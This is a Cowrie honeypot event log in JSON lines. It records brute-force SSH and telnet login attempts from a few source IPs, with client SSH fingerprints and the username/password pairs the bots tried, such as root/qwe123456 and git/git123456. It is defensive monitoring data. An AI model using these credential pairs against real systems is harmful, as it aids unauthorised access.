{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:00.731652Z","src_ip":"192.109.200.78","session":"030cf6a4400f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:01.821283Z","src_ip":"192.109.200.78","session":"030cf6a4400f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52846,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed1699be394","protocol":"ssh","message":"New connection: 192.109.200.78:52846 (159.203.135.109:22) [session: 4ed1699be394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:04.165084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:04.170483Z","src_ip":"192.109.200.78","session":"4ed1699be394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:04.255438Z","src_ip":"192.109.200.78","session":"4ed1699be394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:04.508746Z","src_ip":"192.109.200.78","session":"4ed1699be394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:05.599144Z","src_ip":"192.109.200.78","session":"4ed1699be394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.82.47.2","src_port":13398,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f66895e1151","protocol":"telnet","message":"New connection: 74.82.47.2:13398 (10.17.0.5:23) [session: 9f66895e1151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:06.522071Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:06.541415Z","src_ip":"74.82.47.2","session":"9f66895e1151","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:06.545789Z","src_ip":"74.82.47.2","session":"9f66895e1151","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:06.550221Z","src_ip":"74.82.47.2","session":"9f66895e1151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.1020803451538086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:06.624027Z","src_ip":"74.82.47.2","session":"9f66895e1151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59440,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5bda201c0b8","protocol":"ssh","message":"New connection: 192.109.200.78:59440 (159.203.135.109:22) [session: f5bda201c0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:08.446635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:08.452043Z","src_ip":"192.109.200.78","session":"f5bda201c0b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:08.536629Z","src_ip":"192.109.200.78","session":"f5bda201c0b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:09.083925Z","src_ip":"192.109.200.78","session":"f5bda201c0b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":61295,"dst_ip":"10.17.0.5","dst_port":22,"session":"c45ff415e0d9","protocol":"ssh","message":"New connection: 177.54.62.66:61295 (10.17.0.5:22) [session: c45ff415e0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:09.103632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:09.108698Z","src_ip":"177.54.62.66","session":"c45ff415e0d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:09.247446Z","src_ip":"177.54.62.66","session":"c45ff415e0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12344321","message":"login attempt [deployer/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:09.819791Z","src_ip":"177.54.62.66","session":"c45ff415e0d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:10.167816Z","src_ip":"192.109.200.78","session":"f5bda201c0b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:10.958103Z","src_ip":"177.54.62.66","session":"c45ff415e0d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59460,"dst_ip":"159.203.135.109","dst_port":22,"session":"1449edfe24d1","protocol":"ssh","message":"New connection: 192.109.200.78:59460 (159.203.135.109:22) [session: 1449edfe24d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:12.561145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:12.565308Z","src_ip":"192.109.200.78","session":"1449edfe24d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:12.646767Z","src_ip":"192.109.200.78","session":"1449edfe24d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:12.900504Z","src_ip":"192.109.200.78","session":"1449edfe24d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:14.105117Z","src_ip":"192.109.200.78","session":"1449edfe24d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59492,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7833c4983b9","protocol":"ssh","message":"New connection: 192.109.200.78:59492 (159.203.135.109:22) [session: d7833c4983b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:16.798123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:16.806843Z","src_ip":"192.109.200.78","session":"d7833c4983b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:16.888951Z","src_ip":"192.109.200.78","session":"d7833c4983b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:17.137749Z","src_ip":"192.109.200.78","session":"d7833c4983b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:18.804560Z","src_ip":"192.109.200.78","session":"d7833c4983b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40034,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b5518ff0a15","protocol":"ssh","message":"New connection: 192.109.200.78:40034 (159.203.135.109:22) [session: 8b5518ff0a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:20.927701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:20.932398Z","src_ip":"192.109.200.78","session":"8b5518ff0a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:21.018498Z","src_ip":"192.109.200.78","session":"8b5518ff0a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:21.273229Z","src_ip":"192.109.200.78","session":"8b5518ff0a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:22.358607Z","src_ip":"192.109.200.78","session":"8b5518ff0a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40060,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f449592188","protocol":"ssh","message":"New connection: 192.109.200.78:40060 (159.203.135.109:22) [session: 83f449592188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:25.100197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:25.105225Z","src_ip":"192.109.200.78","session":"83f449592188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:25.190031Z","src_ip":"192.109.200.78","session":"83f449592188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:25.438724Z","src_ip":"192.109.200.78","session":"83f449592188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:26.527720Z","src_ip":"192.109.200.78","session":"83f449592188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":56402,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc48df28626","protocol":"ssh","message":"New connection: 170.79.37.88:56402 (159.203.135.109:22) [session: bdc48df28626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:28.220018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:28.224772Z","src_ip":"170.79.37.88","session":"bdc48df28626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 